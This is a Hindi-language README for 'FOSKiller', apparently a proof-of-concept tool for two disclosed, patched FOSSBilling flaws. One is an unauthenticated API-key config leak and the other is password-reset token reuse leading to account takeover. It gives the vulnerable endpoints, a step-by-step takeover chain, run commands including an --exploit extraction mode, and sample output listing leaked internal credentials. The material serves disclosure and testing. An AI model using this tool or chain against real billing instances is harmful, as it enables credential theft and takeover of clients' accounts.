
FOSSBilling CVE-2026-53647 और CVE-2026-53646 PoC — अप्रमाणित API कुंजी का खुलासा और पासवर्ड रीसेट टोकन का पुन: उपयोग
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
द्वारा निर्मित 7megaumka7
FOSSBilling ≤ 0.7.2 में दो स्वीकृत GitHub सुरक्षा सलाहकार कमजोरियों के लिए PoC उपकरण
FOSKiller एक प्रूफ-ऑफ-कॉन्सेप्ट उपकरण है जो FOSSBilling — एक ओपन-सोर्स बिलिंग और क्लाइंट प्रबंधन प्लेटफ़ॉर्म — में दो सुरक्षा कमज़ोरियों को प्रदर्शित करता है। दोनों कमज़ोरियाँ GitHub सुरक्षा सलाहकार कार्यक्रम के माध्यम से जिम्मेदारी से खुलासा की गईं और FOSSBilling 0.7.3+ में पूरी तरह से पैच की गई हैं।
यह उपकरण इसके लिए अभिप्रेत है:
| सलाहकार | CVE | प्रकार | CVSS | प्रभावित |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | बिना प्रमाणीकरण के API कुंजी कॉन्फ़िग खुलासा | 6.9 मध्यम | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | पासवर्ड रीसेट टोकन पुन: उपयोग → खाता अधिग्रहण | 7.7 उच्च | >= 0.5.6, <= 0.7.2 |
गेस्ट एंडपॉइंट /api/guest/serviceapikey/get_info बिना किसी प्रमाणीकरण की आवश्यकता के पूर्ण सेवा कॉन्फ़िगरेशन लौटाता है — जिसमें custom_* फ़ील्ड, API क्रेडेंशियल, होस्टनाम और पासवर्ड शामिल हैं। एक हमलावर जो एक मान्य API कुंजी जानता है या गणना करता है, वह एक सार्वजनिक एंडपॉइंट से पूर्ण बैकएंड सेवा कॉन्फ़िगरेशन प्राप्त कर सकता है।
प्रभाव: सेवा क्रेडेंशियल, आंतरिक होस्टनाम, API रहस्यों का खुलासा।
जब कोई क्लाइंट एक ही खाते के लिए लगातार दो पासवर्ड रीसेट ट्रिगर करता है, तो एप्लिकेशन एक नया टोकन जारी करता है लेकिन पिछले टोकन को अमान्य नहीं करता। एक हमलावर जिसने पहले पहले टोकन को कैप्चर किया था, वह इसका उपयोग नया पासवर्ड सेट करने के लिए कर सकता है, भले ही वैध उपयोगकर्ता अपना स्वयं का रीसेट फ़्लो पूरा कर ले।
हमला श्रृंखला:
1. हमलावर POST /api/guest/client/reset_password ट्रिगर करता है → टोकन T1 कैप्चर करता है
2. पीड़ित अपना रीसेट ट्रिगर करता है → ऐप T2 जारी करता है, T1 मान्य रहता है
3. हमलावर चुने गए पासवर्ड के साथ POST /api/guest/client/update_password?hash=T1 को कॉल करता है
4. पीड़ित के रीसेट पूरा होने के बावजूद हमलावर के पास स्थायी पहुंच होती है
प्रभाव: किसी भी क्लाइंट का स्थायी खाता अधिग्रहण जिसका रीसेट ईमेल इंटरसेप्ट किया जा सकता है।
यदि निर्भरताएँ गायब हैं, तो स्क्रिप्ट स्टार्टअप पर इसका पता लगाती है और उन्हें स्वचालित रूप से स्थापित करने का विकल्प प्रस्तुत करती है।
क्लोन करें और निर्भरताएँ स्थापित करें:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
या पूर्व-स्थापना के बिना चलाएँ — स्क्रिप्ट पहली बार चलने पर गायब पैकेज स्थापित करने के लिए संकेत देगी।
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| फ़्लैग | आवश्यक | विवरण |
|---|---|---|
--target URL | हाँ | FOSSBilling इंस्टेंस का आधार URL |
--key KEY | CVE-2026-53647 के लिए | परीक्षण करने के लिए API कुंजी |
--email EMAIL | CVE-2026-53646 के लिए | परीक्षण करने के लिए क्लाइंट ईमेल |
--check-only | नहीं | पता लगाने का मोड — डेटा निकाले बिना कमज़ोरी की पुष्टि करें |
--exploit | नहीं | पूर्ण निष्कर्षण + हमला श्रृंखला दस्तावेज़ीकरण |
--force | नहीं | संस्करण सीमा जाँच छोड़ें |
--output FILE | नहीं | पूर्ण परिणाम JSON फ़ाइल में सहेजें |
--timeout SEC | नहीं | HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
--proxy URL | नहीं | HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) |
--check-only और --exploit परस्पर अनन्य हैं।
| मोड | फ़्लैग | यह क्या करता है |
|---|---|---|
| पता लगाना | --check-only | पुष्टि करता है कि कमज़ोरी मौजूद है। संवेदनशील मान प्रदर्शित या निकालता नहीं है। |
| डिफ़ॉल्ट | (कोई मोड फ़्लैग नहीं) | स्थिति की पुष्टि करता है और बुनियादी सबूत दिखाता है। |
| शोषण | --exploit | सभी लीक हुए फ़ील्ड निकालता है; समय मेटाडेटा के साथ पूर्ण खाता-अधिग्रहण श्रृंखला दस्तावेज़ करता है। |
केवल पता लगाना — डेटा निकाले बिना दोनों CVE सत्यापित करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
पूर्ण निष्कर्षण और हमला श्रृंखला दस्तावेज़ीकरण:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
परिणाम JSON में सहेजें और Burp Suite के माध्यम से रूट करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
एक अज्ञात या पहले से पैच किए गए संस्करण का परीक्षण करें:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]